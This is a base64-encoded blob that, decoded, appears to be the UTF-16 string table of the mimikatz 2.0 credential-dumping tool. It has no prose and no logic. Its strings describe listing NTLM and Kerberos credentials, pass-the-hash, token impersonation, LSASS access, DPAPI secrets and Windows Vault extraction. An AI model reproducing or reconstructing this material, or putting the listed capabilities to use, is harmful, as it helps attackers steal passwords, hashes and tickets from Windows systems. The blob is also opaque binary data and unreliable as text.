vAHUAdABwAHUAdAAvAGIAYQBzAGUANgA0ACAAbwB1AHQAcAB1AHQAAAAAAHYAZQByAHMAaQBvAG4AAAAAAAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAABjAGQAAAAAAAAAAABDAGgAYQBuAGcAZQAgAG8AcgAgAGQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAZABpAHIAZQBjAHQAbwByAHkAAABtAGEAcgBrAHIAdQBzAHMAAAAAAE0AYQByAGsAIABhAGIAbwB1AHQAIABQAHQASAAAAAAAcwB0AGEAbgBkAGEAcgBkAAAAAABTAHQAYQBuAGQAYQByAGQAIABtAG8AZAB1AGwAZQAAAEIAYQBzAGkAYwAgAGMAbwBtAG0AYQBuAGQAcwAgACgAZABvAGUAcwAgAG4AbwB0ACAAcgBlAHEAdQBpAHIAZQAgAG0AbwBkAHUAbABlACAAbgBhAG0AZQApAAAAQgB5AGUAIQAKAAAANAAyAC4ACgAAAAAAAAAAAAoAIAAgACAAIAAoACAAKAAKACAAIAAgACAAIAApACAAKQAKACAAIAAuAF8AXwBfAF8AXwBfAC4ACgAgACAAfAAgACAAIAAgACAAIAB8AF0ACgAgACAAXAAgACAAIAAgACAAIAAvAAoAIAAgACAAYAAtAC0ALQAtACcACgAAAAAAUwBsAGUAZQBwACAAOgAgACUAdQAgAG0AcwAuAC4ALgAgAAAARQBuAGQAIAAhAAoAAAAAAG0AaQBtAGkAawBhAHQAegAuAGwAbwBnAAAAAABVAHMAaQBuAGcAIAAnACUAcwAnACAAZgBvAHIAIABsAG8AZwBmAGkAbABlACAAOgAgACUAcwAKAAAAAAB0AHIAdQBlAAAAAABmAGEAbABzAGUAAABpAHMAQgBhAHMAZQA2ADQASQBuAHQAZQByAGMAZQBwAHQAIAB3AGEAcwAgACAAIAAgADoAIAAlAHMACgAAAAAAaQBzAEIAYQBzAGUANgA0AEkAbgB0AGUAcgBjAGUAcAB0ACAAaQBzACAAbgBvAHcAIAA6ACAAJQBzAAoAAAAAADYANAAAAAAAOAA2AAAAAAAAAAAACgBtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMAAgAGEAbABwAGgAYQAgACgAYQByAGMAaAAgAHgAOAA2ACkACgBXAGkAbgBkAG8AdwBzACAATgBUACAAJQB1AC4AJQB1ACAAYgB1AGkAbABkACAAJQB1ACAAKABhAHIAYwBoACAAeAAlAHMAKQAKAG0AcwB2AGMAIAAlAHUAIAAlAHUACgAAAEMAdQByADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAGMAZAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBnAGUAdABDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE4AZQB3ADoAIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAUwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAG8AcgByAHkAIAB5AG8AdQAgAGcAdQB5AHMAIABkAG8AbgAnAHQAIABnAGUAdAAgAGkAdAAuAAoAAAB3AGgAbwBhAG0AaQAAAAAARABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABpAGQAZQBuAHQAaQB0AHkAAAAAAEwAaQBzAHQAIABhAGwAbAAgAHQAbwBrAGUAbgBzACAAbwBmACAAdABoAGUAIABzAHkAcwB0AGUAbQAAAGUAbABlAHYAYQB0AGUAAABJAG0AcABlAHIAcwBvAG4AYQB0AGUAIABhACAAdABvAGsAZQBuAAAAcgBlAHYAZQByAHQAAAAAAFIAZQB2AGUAcgB0ACAAdABvACAAcAByAG8AYwBlAHMAIAB0AG8AawBlAG4AAAAAAHQAbwBrAGUAbgAAAFQAbwBrAGUAbgAgAG0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAbQBvAGQAdQBsAGUAAAAgACoAIABQAHIAbwBjAGUAcwBzACAAVABvAGsAZQBuACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAKgAgAFQAaAByAGUAYQBkACAAVABvAGsAZQBuACAAIAA6ACAAAABuAG8AIAB0AG8AawBlAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAABkAG8AbQBhAGkAbgBhAGQAbQBpAG4AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGwAbwBjAGEAbABfAGQAbwBtAGEAaQBuAF8AdQBzAGUAcgBfAGcAZQB0AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAATgBvACAAdQBzAGUAcgBuAGEAbQBlACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGgAZQBuACAAUwBZAFMAVABFAE0ACgAAAFQAbwBrAGUAbgAgAEkAZAAgACAAOgAgACUAdQAKAFUAcwBlAHIAIABuAGEAbQBlACAAOgAgACUAcwAKAFMASQBEACAAbgBhAG0AZQAgACAAOgAgAAAAAAAlAHMAXAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AE4AYQBtAGUARABvAG0AYQBpAG4ARgByAG8AbQBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGwAbwBjAGEAbABfAGQAbwBtAGEAaQBuAF8AdQBzAGUAcgBfAEMAcgBlAGEAdABlAFcAZQBsAGwASwBuAG8AdwBuAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AcgBlAHYAZQByAHQAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEEAbgBvAG4AeQBtAG8AdQBzAAAASQBkAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuAAAAAABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuAAAARABlAGwAZQBnAGEAdABpAG8AbgAAAAAAVQBuAGsAbgBvAHcAbgAAACUALQAxADAAdQAJAAAAAAAlAHMAXAAlAHMACQAlAHMAAAAAAAkAKAAlADAAMgB1AGcALAAlADAAMgB1AHAAKQAJACUAcwAAACAAKAAlAHMAKQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAQwBoAGUAYwBrAFQAbwBrAGUAbgBNAGUAbQBiAGUAcgBzAGgAaQBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACUAdQAJAAAAIAAtAD4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGUAZAAgACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABtAHUAbAB0AGkAcgBkAHAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAGwAbABvAHcAIABtAHUAbAB0AGkAcABsAGUAcwAgAHUAcwBlAHIAcwAAAHQAcwAAAAAAVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIABtAG8AZAB1AGwAZQAAAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAAAAAAFcAaQBuAGQAbwB3AHMAIABWAGEAdQBsAHQALwBDAHIAZQBkAGUAbgB0AGkAYQBsACAAbQBvAGQAdQBsAGUAAAB2AGEAdQBsAHQAYwBsAGkAAAAAAFZhdWx0RW51bWVyYXRlSXRlbVR5cGVzAFZhdWx0RW51bWVyYXRlVmF1bHRzAAAAAFZhdWx0T3BlblZhdWx0AABWYXVsdEdldEluZm9ybWF0aW9uAFZhdWx0RW51bWVyYXRlSXRlbXMAVmF1bHRDbG9zZVZhdWx0AFZhdWx0RnJlZQAAAFZhdWx0R2V0SXRlbQAAAABEAG8AbQBhAGkAbgAgAFAAYQBzAHMAdwBvAHIAZAAAAEQAbwBtAGEAaQBuACAAQwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABEAG8AbQBhAGkAbgAgAEUAeAB0AGUAbgBkAGUAZAAAAFAAaQBuACAATABvAGcAbwBuAAAAUABpAGMAdAB1AHIAZQAgAFAAYQBzAHMAdwBvAHIAZAAAAAAAQgBpAG8AbQBlAHQAcgBpAGMAAABOAGUAeAB0ACAARwBlAG4AZQByAGEAdABpAG8AbgAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAAAAAAAoAVgBhAHUAbAB0ACAAOgAgAAAACQBJAHQAZQBtAHMAIAAoACUAdQApAAoAAAAAAAkAIAAlADIAdQAuAAkAJQBzAAoAAAAAAAkACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAEwAYQBzAHQAVwByAGkAdAB0AGUAbgAgACAAIAAgACAAOgAgAAAAAAAJAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAACQAJAFIAZQBzAHMAbwB1AHIAYwBlACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkASQBkAGUAbgB0AGkAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACAAIAAgADoAIAAAAAAACQAJAFAAcgBvAHAAZQByAHQAeQAgACUAMgB1ACAAIAAgACAAIAA6ACAAAAAJAAkAKgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACoAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0ANwAgADoAIAAlADAAOAB4AAAAAAAJAAkAUABhAGMAawBhAGcAZQBTAGkAZAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0AOAAgADoAIAAlADAAOAB4AAAAAAAKAAkACQAqACoAKgAgACUAcwAgACoAKgAqAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARQBuAHUAbQBlAHIAYQB0AGUAVgBhAHUAbAB0AHMAIAA6ACAAMAB4ACUAMAA4AHgACgAAAAAACQAJAFUAcwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlAHMAXAAlAHMAAAAAAAAAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFwATABvAGcAbwBuAFUASQBcAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAAAAAABiAGcAUABhAHQAaAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMgAgADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAxACAAOgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFMASQBEACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkACAAOgAgACUAMAA4AHgACgAAAAAACQAJAFAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkAUABJAE4AIABDAG8AZABlACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADQAaAB1AAoAAAAAAAkACQBCAGEAYwBrAGcAcgBvAHUAbgBkACAAcABhAHQAaAAgADoAIAAlAHMACgAAAAkACQBQAGkAYwB0AHUAcgBlACAAcABhAHMAcwB3AG8AcgBkACAAKABnAHIAaQBkACAAaQBzACAAMQA1ADAAKgAxADAAMAApAAoAAAAJAAkAIABbACUAdQBdACAAAAAAAHAAbwBpAG4AdAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAAAAAYwBsAG8AYwBrAHcAaQBzAGUAAABhAG4AdABpAGMAbABvAGMAawB3AGkAcwBlAAAAYwBpAHIAYwBsAGUAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQAgADsAIAByACAAPQAgACUAMwB1ACkAIAAtACAAJQBzAAAAAAAAAGwAaQBuAGUAIAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAgAC0APgAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAAAAlAHUACgAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAuACoAcwBcAAAAJQAuACoAcwAAAAAAdABvAGQAbwAgAD8ACgAAAAkATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAHQAZQBtAHAAIAB2AGEAdQBsAHQAAAAAAAkAUABhAHQAaAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAACUAaAB1AAAAJQB1AAAAAABbAFQAeQBwAGUAIAAlAHUAXQAgAAAAAABnAGUAbgBlAHIAaQBjAAAAZABvAG0AYQBpAG4AXwBwAGEAcwBzAHcAbwByAGQAAABkAG8AbQBhAGkAbgBfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAAAAZABvAG0AYQBpAG4AXwB2AGkAcwBpAGIAbABlAF8AcABhAHMAcwB3AG8AcgBkAAAAZwBlAG4AZQByAGkAYwBfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAGQAbwBtAGEAaQBuAF8AZQB4AHQAZQBuAGQAZQBkAAAAbgBvAG4AZQAAAAAAcwBlAHMAcwBpAG8AbgAAAGUAbgB0AGUAcgBwAHIAaQBzAGUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAPwAgACgAUABlAHIAcwBpAHMAdAAgAD4AIABtAGEAeABpAG0AdQBtACkAAAA/ACAAKAB0AHkAcABlACAAPgAgAEMAUgBFAEQAXwBUAFkAUABFAF8ATQBBAFgASQBNAFUATQApAAAAAAA8AE4AVQBMAEwAPgAAAAAAVABhAHIAZwBlAHQATgBhAG0AZQAgADoAIAAlAHMAIAAvACAAJQBzAAoAVQBzAGUAcgBOAGEAbQBlACAAIAAgADoAIAAlAHMACgBDAG8AbQBtAGUAbgB0ACAAIAAgACAAOgAgACUAcwAKAFQAeQBwAGUAIAAgACAAIAAgACAAIAA6ACAAJQB1ACAALQAgACUAcwAKAFAAZQByAHMAaQBzAHQAIAAgACAAIAA6ACAAJQB1ACAALQAgACUAcwAKAEYAbABhAGcAcwAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6AAoAAAAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAIAA6ACAAAABpAG4AZgBvAHMAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIAAABNAGkAbgBlAFMAdwBlAGUAcABlAHIAIABtAG8AZAB1AGwAZQAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAC4AZQB4AGUAAABGAGkAZQBsAGQAIAA6ACAAJQB1ACAAcgAgAHgAIAAlAHUAIABjAAoATQBpAG4AZQBzACAAOgAgACUAdQAKAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGUAbQBvAHIAeQAgAEMAIAAoAFIAIAA9ACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAUgAKAAAAAAAlAEMAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEIAbwBhAHIAZAAgAGMAbwBwAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAYQBtAGUAIABjAG8AcAB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHACAAYwBvAHAAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBsAG8AYgBhAGwAIABjAG8AcAB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAUwBlAGEAcgBjAGgAIABpAHMAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAATgBUACAASABlAGEAZABlAHIAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAAUABFAEIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATgBvACAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAaQBuACAAbQBlAG0AbwByAHkAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGUAbABlAG0AZQBuAHQAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAcgBlAGYAZQByAGUAbgBjAGUAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIAByAGUAZgBlAHIAZQBuAGMAZQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABmAGkAcgBzAHQAIABlAGwAZQBtAGUAbgB0AAoAAABsAHMAYQBzAHIAdgAAAAAATHNhSUNhbmNlbE5vdGlmaWNhdGlvbgAATHNhSVJlZ2lzdGVyTm90aWZpY2F0aW9uAAAAAGIAYwByAHkAcAB0AAAAAABCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIAQkNyeXB0U2V0UHJvcGVydHkAAABCQ3J5cHRHZXRQcm9wZXJ0eQAAAEJDcnlwdEdlbmVyYXRlU3ltbWV0cmljS2V5AABCQ3J5cHRFbmNyeXB0AAAAQkNyeXB0RGVjcnlwdAAAAEJDcnlwdERlc3Ryb3lLZXkAAAAAQkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcgAAAAAzAEQARQBTAAAAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEIAQwAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAAAAAABPAGIAagBlAGMAdABMAGUAbgBnAHQAaAAAAAAAQQBFAFMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEYAQgAAAG0AcwB2AAAATABpAHMAdABzACAATABNACAAJgAgAE4AVABMAE0AIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAB3AGQAaQBnAGUAcwB0AAAATABpAHMAdABzACAAVwBEAGkAZwBlAHMAdAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAEwAaQBzAHQAcwAgAEsAZQByAGIAZQByAG8AcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAdABzAHAAawBnAAAATABpAHMAdABzACAAVABzAFAAawBnACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABpAHYAZQBzAHMAcAAAAEwAaQBzAHQAcwAgAEwAaQB2AGUAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABzAHMAcAAAAEwAaQBzAHQAcwAgAFMAUwBQACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABvAGcAbwBuAFAAYQBzAHMAdwBvAHIAZABzAAAAAABMAGkAcwB0AHMAIABhAGwAbAAgAGEAdgBhAGkAbABhAGIAbABlACAAcAByAG8AdgBpAGQAZQByAHMAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAIABjAG8AbgB0AGUAeAB0AAAAAABtAGkAbgBpAGQAdQBtAHAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAbQBpAG4AaQBkAHUAbQBwACAAYwBvAG4AdABlAHgAdAAAAAAAcAB0AGgAAABQAGEAcwBzAC0AdABoAGUALQBoAGEAcwBoAAAAawByAGIAdABnAHQAIQAAAGQAcABhAHAAaQBzAHkAcwB0AGUAbQAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNACAAcwBlAGMAcgBlAHQAAAB0AGkAYwBrAGUAdABzAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAHQAaQBjAGsAZQB0AHMAAABlAGsAZQB5AHMAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAEsAZQB5AHMAAABMAGkAcwB0ACAAQwBhAGMAaABlAGQAIABNAGEAcwB0AGUAcgBLAGUAeQBzAAAAAABjAHIAZQBkAG0AYQBuAAAATABpAHMAdAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAE0AYQBuAGEAZwBlAHIAAAAAAHMAZQBrAHUAcgBsAHMAYQAAAAAAUwBlAGsAdQByAEwAUwBBACAAbQBvAGQAdQBsAGUAAAAAAAAAUwBvAG0AZQAgAGMAbwBtAG0AYQBuAGQAcwAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYwByAGUAZABlAG4AdABpAGEAbABzAC4ALgAuAAAAUwB3AGkAdABjAGgAIAB0AG8AIABQAFIATwBDAEUAUwBTAAoAAAAAAFMAdwBpAHQAYwBoACAAdABvACAATQBJAE4ASQBE